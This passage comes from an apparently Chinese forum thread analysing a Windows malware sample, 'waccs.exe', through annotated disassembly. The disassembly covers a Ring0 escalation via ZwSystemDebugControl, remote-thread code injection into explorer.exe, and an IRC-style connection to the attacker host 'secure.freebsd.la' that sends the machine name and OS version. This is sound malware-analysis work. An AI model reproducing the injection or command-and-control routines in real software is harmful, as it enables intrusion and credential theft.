00406492    2B41 08         SUB EAX,DWORD PTR DS:[ECX+8]
00406495    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
00406498    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
0040649B    8B45 F8         MOV EAX,DWORD PTR SS:[EBP-8]
0040649E    0342 08         ADD EAX,DWORD PTR DS:[EDX+8]
004064A1    50              PUSH EAX
004064A2    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
004064A5    8B09            MOV ECX,DWORD PTR DS:[ECX]
004064A7    E8 2CF9FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
004064AC    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
004064AF    2B42 08         SUB EAX,DWORD PTR DS:[EDX+8]
004064B2    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
004064B5    8B45 F4         MOV EAX,DWORD PTR SS:[EBP-C]
004064B8    8945 F0         MOV DWORD PTR SS:[EBP-10],EAX
004064BB    8B4D F4         MOV ECX,DWORD PTR SS:[EBP-C]
004064BE    894D E8         MOV DWORD PTR SS:[EBP-18],ECX
004064C1    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
004064C4    8B45 F4         MOV EAX,DWORD PTR SS:[EBP-C]
004064C7    0342 08         ADD EAX,DWORD PTR DS:[EDX+8]
004064CA    50              PUSH EAX
004064CB    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
004064CE    8B09            MOV ECX,DWORD PTR DS:[ECX]
004064D0    E8 03F9FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
004064D5    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
004064D8    2B42 08         SUB EAX,DWORD PTR DS:[EDX+8]
004064DB    8945 F4         MOV DWORD PTR SS:[EBP-C],EAX
004064DE    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
004064E1    8B4D F4         MOV ECX,DWORD PTR SS:[EBP-C]
004064E4    0348 08         ADD ECX,DWORD PTR DS:[EAX+8]
004064E7    51              PUSH ECX
004064E8    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
004064EB    8B0A            MOV ECX,DWORD PTR DS:[EDX]
004064ED    E8 E6F8FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
004064F2    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
004064F5    2B41 08         SUB EAX,DWORD PTR DS:[ECX+8]
004064F8    8945 EC         MOV DWORD PTR SS:[EBP-14],EAX
004064FB    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
004064FE    8B45 F4         MOV EAX,DWORD PTR SS:[EBP-C]
00406501    0342 0C         ADD EAX,DWORD PTR DS:[EDX+C]
00406504    50              PUSH EAX
00406505    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406508    8B09            MOV ECX,DWORD PTR DS:[ECX]
0040650A    E8 C9F8FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
0040650F    3B45 08         CMP EAX,DWORD PTR SS:[EBP+8]
00406512    0F85 82000000   JNZ waccs.0040659A
00406518    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
0040651B    8B45 EC         MOV EAX,DWORD PTR SS:[EBP-14]
0040651E    0342 08         ADD EAX,DWORD PTR DS:[EDX+8]
00406521    50              PUSH EAX
00406522    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406525    8B55 E8         MOV EDX,DWORD PTR SS:[EBP-18]
00406528    0351 08         ADD EDX,DWORD PTR DS:[ECX+8]
0040652B    52              PUSH EDX
0040652C    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
0040652F    8B08            MOV ECX,DWORD PTR DS:[EAX]
00406531    E8 C6F8FFFF     CALL waccs.00405DFC                      ; 调用ZwSystemDebugControl进入Ring0.
00406536    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406539    8B55 E8         MOV EDX,DWORD PTR SS:[EBP-18]
0040653C    0351 08         ADD EDX,DWORD PTR DS:[ECX+8]
0040653F    52              PUSH EDX
00406540    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00406543    8B48 08         MOV ECX,DWORD PTR DS:[EAX+8]
00406546    8B55 EC         MOV EDX,DWORD PTR SS:[EBP-14]
00406549    8D440A 04       LEA EAX,DWORD PTR DS:[EDX+ECX+4]
0040654D    50              PUSH EAX
0040654E    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406551    8B09            MOV ECX,DWORD PTR DS:[ECX]
00406553    E8 A4F8FFFF     CALL waccs.00405DFC                      ; 调用ZwSystemDebugControl进入Ring0.
00406558    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
0040655B    8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
0040655E    0342 08         ADD EAX,DWORD PTR DS:[EDX+8]
00406561    50              PUSH EAX
00406562    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406565    8B55 F4         MOV EDX,DWORD PTR SS:[EBP-C]
00406568    0351 08         ADD EDX,DWORD PTR DS:[ECX+8]
0040656B    52              PUSH EDX
0040656C    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
0040656F    8B08            MOV ECX,DWORD PTR DS:[EAX]
00406571    E8 86F8FFFF     CALL waccs.00405DFC                      ; 调用ZwSystemDebugControl进入Ring0.
00406576    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406579    8B55 F8         MOV EDX,DWORD PTR SS:[EBP-8]
0040657C    0351 08         ADD EDX,DWORD PTR DS:[ECX+8]
0040657F    52              PUSH EDX
00406580    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00406583    8B48 08         MOV ECX,DWORD PTR DS:[EAX+8]
00406586    8B55 F4         MOV EDX,DWORD PTR SS:[EBP-C]
00406589    8D440A 04       LEA EAX,DWORD PTR DS:[EDX+ECX+4]
0040658D    50              PUSH EAX
0040658E    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
00406591    8B09            MOV ECX,DWORD PTR DS:[ECX]
00406593    E8 64F8FFFF     CALL waccs.00405DFC                      ; 调用ZwSystemDebugControl进入Ring0.
00406598    EB 0C           JMP SHORT waccs.004065A6
0040659A    8B55 F0         MOV EDX,DWORD PTR SS:[EBP-10]
0040659D    3B55 F4         CMP EDX,DWORD PTR SS:[EBP-C]
004065A0 ^ 0F85 15FFFFFF   JNZ waccs.004064BB
004065A6    8BE5            MOV ESP,EBP
004065A8    5D              POP EBP
004065A9    C2 0400         RETN 4                                   ; 返回.

该用户从未签到

 楼主| 发表于 2008-6-15 12:54:34 | 显示全部楼层
向系统桌面程序“explorer.exe”进程内存空间中注入恶意代码,执行进程守护功能:
00405510    55              PUSH EBP
00405511    8BEC            MOV EBP,ESP
00405513    81EC FC020000   SUB ESP,2FC
00405519    57              PUSH EDI
0040551A    B8 D993A38B     MOV EAX,8BA393D9
0040551F    50              PUSH EAX
00405520    8D8D 6CFDFFFF   LEA ECX,DWORD PTR SS:[EBP-294]
00405526    E8 D5030000     CALL waccs.00405900                      ; ASCII "kernel32.dll"
0040552B    50              PUSH EAX                                 ; /pModule = "kernel32.dll"
0040552C    FF15 9C804000   CALL DWORD PTR DS:[40809C]               ; kernel32.GetModuleHandleA
00405532    8985 7CFDFFFF   MOV DWORD PTR SS:[EBP-284],EAX
00405538    8D8D 6CFDFFFF   LEA ECX,DWORD PTR SS:[EBP-294]
0040553E    E8 FD020000     CALL waccs.00405840                      ; 清除内存数据.
00405543    B9 C2A545F2     MOV ECX,F245A5C2
00405548    51              PUSH ECX
00405549    8D8D 60FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2A0]
0040554F    E8 2C040000     CALL waccs.00405980                      ; ASCII "CloseHandle"
00405554    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "CloseHandle"
00405555    8B95 7CFDFFFF   MOV EDX,DWORD PTR SS:[EBP-284]
0040555B    52              PUSH EDX                                 ; |hModule = 7C800000 (kernel32)
0040555C    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
00405562    8985 80FDFFFF   MOV DWORD PTR SS:[EBP-280],EAX
00405568    8D8D 60FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2A0]
0040556E    E8 9D020000     CALL waccs.00405810                      ; 清除内存数据.
00405573    68 22F85E60     PUSH 605EF822
00405578    8D8D 54FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2AC]
0040557E    E8 7D040000     CALL waccs.00405A00                      ; ASCII "CreateFileA"
00405583    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "CreateFileA"
00405584    8B85 7CFDFFFF   MOV EAX,DWORD PTR SS:[EBP-284]
0040558A    50              PUSH EAX                                 ; |hModule = 7C800000 (kernel32)
0040558B    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
00405591    8985 84FDFFFF   MOV DWORD PTR SS:[EBP-27C],EAX
00405597    8D8D 54FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2AC]
0040559D    E8 6E020000     CALL waccs.00405810                      ; 清除内存数据.
004055A2    68 2C150011     PUSH 1100152C
004055A7    8D8D 44FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2BC]
004055AD    E8 CE040000     CALL waccs.00405A80                      ; ASCII "CreateMutexA"
004055B2    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "CreateMutexA"
004055B3    8B8D 7CFDFFFF   MOV ECX,DWORD PTR SS:[EBP-284]
004055B9    51              PUSH ECX                                 ; |hModule = 7C800000 (kernel32)
004055BA    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
004055C0    8985 88FDFFFF   MOV DWORD PTR SS:[EBP-278],EAX
004055C6    8D8D 44FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2BC]
004055CC    E8 6F020000     CALL waccs.00405840                      ; 清除内存数据.
004055D1    BA EE438A84     MOV EDX,848A43EE
004055D6    52              PUSH EDX
004055D7    8D8D 34FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2CC]
004055DD    E8 1E050000     CALL waccs.00405B00                      ; ASCII "GetLastError"
004055E2    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "GetLastError"
004055E3    8B85 7CFDFFFF   MOV EAX,DWORD PTR SS:[EBP-284]
004055E9    50              PUSH EAX                                 ; |hModule = 7C800000 (kernel32)
004055EA    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
004055F0    8985 8CFDFFFF   MOV DWORD PTR SS:[EBP-274],EAX
004055F6    8D8D 34FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2CC]
004055FC    E8 3F020000     CALL waccs.00405840                      ; 清除内存数据.
00405601    68 EF642F4B     PUSH 4B2F64EF
00405606    8D8D 24FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2DC]
0040560C    E8 6F050000     CALL waccs.00405B80                      ; ASCII "ReleaseMutex"
00405611    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "ReleaseMutex"
00405612    8B8D 7CFDFFFF   MOV ECX,DWORD PTR SS:[EBP-284]
00405618    51              PUSH ECX                                 ; |hModule = 7C800000 (kernel32)
00405619    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
0040561F    8985 90FDFFFF   MOV DWORD PTR SS:[EBP-270],EAX
00405625    8D8D 24FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2DC]
0040562B    E8 10020000     CALL waccs.00405840                      ; 清除内存数据.
00405630    68 C0DE9D2B     PUSH 2B9DDEC0
00405635    8D8D 1CFDFFFF   LEA ECX,DWORD PTR SS:[EBP-2E4]
0040563B    E8 C0050000     CALL waccs.00405C00                      ; ASCII "Sleep"
00405640    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "Sleep"
00405641    8B95 7CFDFFFF   MOV EDX,DWORD PTR SS:[EBP-284]
00405647    52              PUSH EDX                                 ; |hModule = 7C800000 (kernel32)
00405648    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
0040564E    8985 94FDFFFF   MOV DWORD PTR SS:[EBP-26C],EAX
00405654    8D8D 1CFDFFFF   LEA ECX,DWORD PTR SS:[EBP-2E4]
0040565A    E8 11020000     CALL waccs.00405870                      ; 清除内存数据.
0040565F    B8 193BE6A9     MOV EAX,A9E63B19
00405664    50              PUSH EAX
00405665    8D8D 14FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2EC]
0040566B    E8 10060000     CALL waccs.00405C80                      ; ASCII "WinExec"
00405670    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "WinExec"
00405671    8B8D 7CFDFFFF   MOV ECX,DWORD PTR SS:[EBP-284]
00405677    51              PUSH ECX                                 ; |hModule = 7C800000 (kernel32)
00405678    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress
0040567E    8985 98FDFFFF   MOV DWORD PTR SS:[EBP-268],EAX
00405684    8D8D 14FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2EC]
0040568A    E8 11020000     CALL waccs.004058A0                      ; 清除内存数据.
0040568F    B9 51000000     MOV ECX,51
00405694    33C0            XOR EAX,EAX
00405696    8DBD 9CFDFFFF   LEA EDI,DWORD PTR SS:[EBP-264]
0040569C    F3:AB           REP STOS DWORD PTR ES:[EDI]
0040569E    8D95 E8FEFFFF   LEA EDX,DWORD PTR SS:[EBP-118]
004056A4    52              PUSH EDX
004056A5    6A 00           PUSH 0
004056A7    B8 E4CE3489     MOV EAX,8934CEE4
004056AC    50              PUSH EAX
004056AD    8D8D 04FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2FC]
004056B3    E8 48060000     CALL waccs.00405D00                      ; ASCII "Shell_TrayWnd"
004056B8    50              PUSH EAX                                 ; ASCII "Shell_TrayWnd"
004056B9    FF15 88814000   CALL DWORD PTR DS:[408188]               ; USER32.FindWindowA(寻找"Shell_TrayWnd"窗口,该窗口进程名为“explorer.exe”,是系统桌面程序).
004056BF    50              PUSH EAX
004056C0    FF15 A8814000   CALL DWORD PTR DS:[4081A8]               ; USER32.GetWindowThreadProcessId(获取进程ID).
004056C6    8D8D 04FDFFFF   LEA ECX,DWORD PTR SS:[EBP-2FC]
004056CC    E8 FF010000     CALL waccs.004058D0                      ; 清除内存数据.
004056D1    8B8D E8FEFFFF   MOV ECX,DWORD PTR SS:[EBP-118]
004056D7    51              PUSH ECX
004056D8    6A 00           PUSH 0
004056DA    68 FF0F1F00     PUSH 1F0FFF                              ; Access = PROCESS_ALL_ACCESS
004056DF    FF15 48804000   CALL DWORD PTR DS:[408048]               ; kernel32.OpenProcess(打开系统桌面程序“explorer.exe”进程).
004056E5    8985 E4FEFFFF   MOV DWORD PTR SS:[EBP-11C],EAX
004056EB    83BD E4FEFFFF 0>CMP DWORD PTR SS:[EBP-11C],0
004056F2    75 07           JNZ SHORT waccs.004056FB
004056F4    33C0            XOR EAX,EAX
004056F6    E9 10010000     JMP waccs.0040580B                       ; 如果打开系统桌面程序“explorer.exe”进程失败则退出(返回)该函数.
004056FB    68 03010000     PUSH 103
00405700    8D95 F4FEFFFF   LEA EDX,DWORD PTR SS:[EBP-10C]
00405706    52              PUSH EDX
00405707    6A 00           PUSH 0
00405709    FF15 98804000   CALL DWORD PTR DS:[408098]               ; kernel32.GetModuleFileNameA(获取程序自身路径名).
0040570F    68 03010000     PUSH 103                                 ; /maxlen = 103 (259.)
00405714    8D85 F4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-10C]
0040571A    50              PUSH EAX                                 ; |src = "C:\WINDOWS\system32\waccs.exe"
0040571B    8D8D 9CFDFFFF   LEA ECX,DWORD PTR SS:[EBP-264]
00405721    51              PUSH ECX                                 ; |dest = 0012F56C
00405722    E8 75190000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00405727    83C4 0C         ADD ESP,0C
0040572A    6A 3F           PUSH 3F                                  ; /maxlen = 3F (63.)
0040572C    8B55 08         MOV EDX,DWORD PTR SS:[EBP+8]
0040572F    52              PUSH EDX                                 ; |src = "t3x0"
00405730    8D85 A0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-160]
00405736    50              PUSH EAX                                 ; |dest = 0012F670
00405737    E8 60190000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
0040573C    83C4 0C         ADD ESP,0C
0040573F    6A 04           PUSH 4
00405741    68 00100000     PUSH 1000
00405746    68 60010000     PUSH 160
0040574B    6A 00           PUSH 0
0040574D    8B8D E4FEFFFF   MOV ECX,DWORD PTR SS:[EBP-11C]
00405753    51              PUSH ECX
00405754    FF15 4C804000   CALL DWORD PTR DS:[40804C]               ; kernel32.VirtualAllocEx(在目标进程“explorer.exe”中申请内存).
0040575A    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
0040575D    8D95 F0FEFFFF   LEA EDX,DWORD PTR SS:[EBP-110]
00405763    52              PUSH EDX                                 ; /pBytesWritten = 0012F6C0
00405764    68 60010000     PUSH 160                                 ; |BytesToWrite = 160 (352.)
00405769    8D85 80FDFFFF   LEA EAX,DWORD PTR SS:[EBP-280]
0040576F    50              PUSH EAX                                 ; |Buffer = 0012F550
00405770    8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
00405773    51              PUSH ECX                                 ; |Address = 1460000
00405774    8B95 E4FEFFFF   MOV EDX,DWORD PTR SS:[EBP-11C]
0040577A    52              PUSH EDX                                 ; |hProcess = 000000A4 (window)
0040577B    FF15 50804000   CALL DWORD PTR DS:[408050]               ; kernel32.WriteProcessMemory(向目标进程“explorer.exe”内存空间中注入代码[数据段],代码数据在地址"0012F550"处,大小为0x160 "352.").
00405781    B8 0B554000     MOV EAX,waccs.0040550B
00405786    2D 60544000     SUB EAX,waccs.00405460
0040578B    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
0040578E    6A 40           PUSH 40
00405790    68 00100000     PUSH 1000
00405795    8B4D F8         MOV ECX,DWORD PTR SS:[EBP-8]
00405798    51              PUSH ECX
00405799    6A 00           PUSH 0
0040579B    8B95 E4FEFFFF   MOV EDX,DWORD PTR SS:[EBP-11C]
004057A1    52              PUSH EDX
004057A2    FF15 4C804000   CALL DWORD PTR DS:[40804C]               ; kernel32.VirtualAllocEx(在目标进程“explorer.exe”中申请内存).
004057A8    8985 E0FEFFFF   MOV DWORD PTR SS:[EBP-120],EAX
004057AE    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]
004057B4    50              PUSH EAX                                 ; /pBytesWritten = 0012F6C0
004057B5    8B4D F8         MOV ECX,DWORD PTR SS:[EBP-8]
004057B8    51              PUSH ECX                                 ; |BytesToWrite = AB (171.)
004057B9    68 60544000     PUSH waccs.00405460                      ; |Buffer = waccs.00405460
004057BE    8B95 E0FEFFFF   MOV EDX,DWORD PTR SS:[EBP-120]
004057C4    52              PUSH EDX                                 ; |Address = 1A50000
004057C5    8B85 E4FEFFFF   MOV EAX,DWORD PTR SS:[EBP-11C]
004057CB    50              PUSH EAX                                 ; |hProcess = 000000A4 (window)
004057CC    FF15 50804000   CALL DWORD PTR DS:[408050]               ; kernel32.WriteProcessMemory(向目标进程“explorer.exe”内存空间中注入代码[代码段],代码数据在地址"00405460"处,大小为0xAB "171.").
004057D2    6A 00           PUSH 0
004057D4    6A 00           PUSH 0
004057D6    8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
004057D9    51              PUSH ECX
004057DA    8B95 E0FEFFFF   MOV EDX,DWORD PTR SS:[EBP-120]
004057E0    52              PUSH EDX
004057E1    6A 00           PUSH 0
004057E3    6A 00           PUSH 0
004057E5    8B85 E4FEFFFF   MOV EAX,DWORD PTR SS:[EBP-11C]
004057EB    50              PUSH EAX
004057EC    FF15 54804000   CALL DWORD PTR DS:[408054]               ; kernel32.CreateRemoteThread(创建远程线程).
004057F2    8985 ECFEFFFF   MOV DWORD PTR SS:[EBP-114],EAX
004057F8    8B8D E4FEFFFF   MOV ECX,DWORD PTR SS:[EBP-11C]
004057FE    51              PUSH ECX
004057FF    FF15 58804000   CALL DWORD PTR DS:[408058]               ; kernel32.CloseHandle(关闭进程句柄).
00405805    8B85 ECFEFFFF   MOV EAX,DWORD PTR SS:[EBP-114]
0040580B    5F              POP EDI
0040580C    8BE5            MOV ESP,EBP
0040580E    5D              POP EBP
0040580F    C3              RETN                                     ; 返回.

该用户从未签到

 楼主| 发表于 2008-6-15 12:54:57 | 显示全部楼层
连接骇客远程服务器"http://www.secure.freebsd.la":
004010AA    55              PUSH EBP
004010AB    8BEC            MOV EBP,ESP
004010AD    83EC 24         SUB ESP,24
004010B0    6A 06           PUSH 6                                   ; /Family = AF_INET
004010B2    6A 01           PUSH 1                                   ; |Type = SOCK_STREAM
004010B4    6A 02           PUSH 2                                   ; |Family = AF_INET
004010B6    FF15 E0814000   CALL DWORD PTR DS:[4081E0]               ; WS2_32.socket
004010BC    8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]
004010BF    8901            MOV DWORD PTR DS:[ECX],EAX
004010C1    6A 00           PUSH 0                                   ; /ShowState = SW_HIDE
004010C3    68 7833E110     PUSH 10E13378
004010C8    8D4D DC         LEA ECX,DWORD PTR SS:[EBP-24]
004010CB    E8 A6100000     CALL waccs.00402176                      ; ASCII "ipconfig /flushdns"
004010D0    50              PUSH EAX                                 ; |CmdLine = "ipconfig /flushdns"(命令).
004010D1    FF15 5C804000   CALL DWORD PTR DS:[40805C]               ; kernel32.WinExec(执行DOS控制台命令).
004010D7    8D4D DC         LEA ECX,DWORD PTR SS:[EBP-24]
004010DA    E8 B70D0000     CALL waccs.00401E96                      ; 清除内存数据.
004010DF    6A 10           PUSH 10
004010E1    6A 00           PUSH 0
004010E3    8D45 F0         LEA EAX,DWORD PTR SS:[EBP-10]
004010E6    50              PUSH EAX
004010E7    E8 4E5F0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
004010EC    83C4 0C         ADD ESP,0C
004010EF    66:C745 F0 0200 MOV WORD PTR SS:[EBP-10],2
004010F5    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
004010F8    66:8B80 8400000>MOV AX,WORD PTR DS:[EAX+84]
004010FF    50              PUSH EAX                                 ; /NetShort = 122646
00401100    FF15 D0814000   CALL DWORD PTR DS:[4081D0]               ; WS2_32.ntohs(返回一个以主机字节顺序表达的数).
00401106    66:8945 F2      MOV WORD PTR SS:[EBP-E],AX
0040110A    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
0040110D    83C0 04         ADD EAX,4
00401110    50              PUSH EAX
00401111    E8 252B0000     CALL waccs.00403C3B                      ; 完成主机名到地址解析.
00401116    59              POP ECX
00401117    8945 F4         MOV DWORD PTR SS:[EBP-C],EAX
0040111A    6A 10           PUSH 10
0040111C    8D45 F0         LEA EAX,DWORD PTR SS:[EBP-10]
0040111F    50              PUSH EAX
00401120    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401123    FF30            PUSH DWORD PTR DS:[EAX]                  ; /(Socket = B4 pSockAddr = 0012F7C0 AddrLen = 10 (16.)).
00401125    FF15 CC814000   CALL DWORD PTR DS:[4081CC]               ; WS2_32.connect
0040112B    83F8 FF         CMP EAX,-1
0040112E    75 0F           JNZ SHORT waccs.0040113F                 ;判断是否连通网络.
00401130    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401133    FF30            PUSH DWORD PTR DS:[EAX]
00401135    FF15 C8814000   CALL DWORD PTR DS:[4081C8]               ; WS2_32.closesocket(如果连通网络,则关闭连接).
0040113B    32C0            XOR AL,AL
0040113D    EB 02           JMP SHORT waccs.00401141
0040113F    B0 01           MOV AL,1
00401141    C9              LEAVE
00401142    C3              RETN                                     ; 返回.


完成主机名到地址解析:
00403C3B    55              PUSH EBP
00403C3C    8BEC            MOV EBP,ESP
00403C3E    51              PUSH ECX
00403C3F    51              PUSH ECX
00403C40    FF75 08         PUSH DWORD PTR SS:[EBP+8]                ; ASCII "secure.freebsd.la"
00403C43    FF15 D4814000   CALL DWORD PTR DS:[4081D4]               ; WS2_32.inet_addr
00403C49    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
00403C4C    837D FC FF      CMP DWORD PTR SS:[EBP-4],-1
00403C50    75 24           JNZ SHORT waccs.00403C76
00403C52    FF75 08         PUSH DWORD PTR SS:[EBP+8]                ; /Name = "secure.freebsd.la"
00403C55    FF15 D8814000   CALL DWORD PTR DS:[4081D8]               ; WS2_32.gethostbyname(完成主机名到地址解析).
00403C5B    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
00403C5E    837D F8 00      CMP DWORD PTR SS:[EBP-8],0
00403C62    75 05           JNZ SHORT waccs.00403C69                 ; 判断是否成功.
00403C64    83C8 FF         OR EAX,FFFFFFFF
00403C67    EB 10           JMP SHORT waccs.00403C79
00403C69    8B45 F8         MOV EAX,DWORD PTR SS:[EBP-8]
00403C6C    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]
00403C6F    8B00            MOV EAX,DWORD PTR DS:[EAX]
00403C71    8B00            MOV EAX,DWORD PTR DS:[EAX]
00403C73    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
00403C76    8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
00403C79    C9              LEAVE
00403C7A    C3              RETN                                     ; 返回.


查找系统中是否运行某些通讯工具(可能会利用这些通讯工具发布广告、进行自我传播以及窃取其帐号密码信息等操作),并构造发送数据包(多种包格式/与骇客远程服务器进行秘密通信):
00401143    55              PUSH EBP
00401144    8BEC            MOV EBP,ESP
00401146    83EC 40         SUB ESP,40
00401149    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
0040114C    0FBE80 88000000 MOVSX EAX,BYTE PTR DS:[EAX+88]
00401153    85C0            TEST EAX,EAX
00401155    74 44           JE SHORT waccs.0040119B
00401157    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
0040115A    05 88000000     ADD EAX,88
0040115F    50              PUSH EAX
00401160    68 175FE19B     PUSH 9BE15F17
00401165    8D4D D4         LEA ECX,DWORD PTR SS:[EBP-2C]
00401168    E8 69100000     CALL waccs.004021D6                      ; ASCII "PASS %s"
0040116D    50              PUSH EAX
0040116E    FF75 08         PUSH DWORD PTR SS:[EBP+8]
00401171    E8 8AFEFFFF     CALL waccs.00401000                      ; 构造发送数据包(格式:PASS %s).
00401176    83C4 0C         ADD ESP,0C
00401179    0FB6C0          MOVZX EAX,AL
0040117C    F7D8            NEG EAX
0040117E    1BC0            SBB EAX,EAX
00401180    40              INC EAX
00401181    8845 DC         MOV BYTE PTR SS:[EBP-24],AL
00401184    8D4D D4         LEA ECX,DWORD PTR SS:[EBP-2C]
00401187    E8 4A0E0000     CALL waccs.00401FD6                      ; 清除内存数据.
0040118C    0FB645 DC       MOVZX EAX,BYTE PTR SS:[EBP-24]
00401190    85C0            TEST EAX,EAX
00401192    74 07           JE SHORT waccs.0040119B
00401194    32C0            XOR AL,AL
00401196    E9 8D000000     JMP waccs.00401228                       ; 发送数据包失败则退出(返回).
0040119B    FF75 08         PUSH DWORD PTR SS:[EBP+8]
0040119E    E8 87000000     CALL waccs.0040122A                      ; 查找系统中是否运行某些通讯工具,并构造发送数据包(格式:NICK %s).
004011A3    59              POP ECX
004011A4    6A 11           PUSH 11
004011A6    6A 00           PUSH 0
004011A8    8D45 E0         LEA EAX,DWORD PTR SS:[EBP-20]
004011AB    50              PUSH EAX
004011AC    E8 895E0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
004011B1    83C4 0C         ADD ESP,0C
004011B4    6A 08           PUSH 8
004011B6    6A 00           PUSH 0
004011B8    8D45 F8         LEA EAX,DWORD PTR SS:[EBP-8]
004011BB    50              PUSH EAX
004011BC    E8 795E0000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
004011C1    83C4 0C         ADD ESP,0C
004011C4    C745 F4 1000000>MOV DWORD PTR SS:[EBP-C],10
004011CB    8D45 F4         LEA EAX,DWORD PTR SS:[EBP-C]
004011CE    50              PUSH EAX
004011CF    8D45 E0         LEA EAX,DWORD PTR SS:[EBP-20]
004011D2    50              PUSH EAX
004011D3    FF15 60804000   CALL DWORD PTR DS:[408060]               ; kernel32.GetComputerNameA(获得机器名称).
004011D9    6A 08           PUSH 8
004011DB    8D45 F8         LEA EAX,DWORD PTR SS:[EBP-8]
004011DE    50              PUSH EAX
004011DF    E8 972A0000     CALL waccs.00403C7B                      ; 获取计算机系统版本号"%s-SP%d".
004011E4    59              POP ECX
004011E5    59              POP ECX
004011E6    8D45 E0         LEA EAX,DWORD PTR SS:[EBP-20]
004011E9    50              PUSH EAX
004011EA    8D45 F8         LEA EAX,DWORD PTR SS:[EBP-8]
004011ED    50              PUSH EAX
004011EE    68 D1F1AD0C     PUSH 0CADF1D1
004011F3    8D4D C0         LEA ECX,DWORD PTR SS:[EBP-40]
004011F6    E8 3B100000     CALL waccs.00402236                      ; ASCII "USER %s x x :%s"
004011FB    50              PUSH EAX
004011FC    FF75 08         PUSH DWORD PTR SS:[EBP+8]
004011FF    E8 FCFDFFFF     CALL waccs.00401000                      ; 并构造发送数据包(格式:USER %s x x :%s).
00401204    83C4 10         ADD ESP,10
00401207    0FB6C0          MOVZX EAX,AL
0040120A    F7D8            NEG EAX
0040120C    1BC0            SBB EAX,EAX
0040120E    40              INC EAX
0040120F    8845 D0         MOV BYTE PTR SS:[EBP-30],AL
00401212    8D4D C0         LEA ECX,DWORD PTR SS:[EBP-40]
00401215    E8 1C0D0000     CALL waccs.00401F36                      ; 清除内存数据.
0040121A    0FB645 D0       MOVZX EAX,BYTE PTR SS:[EBP-30]
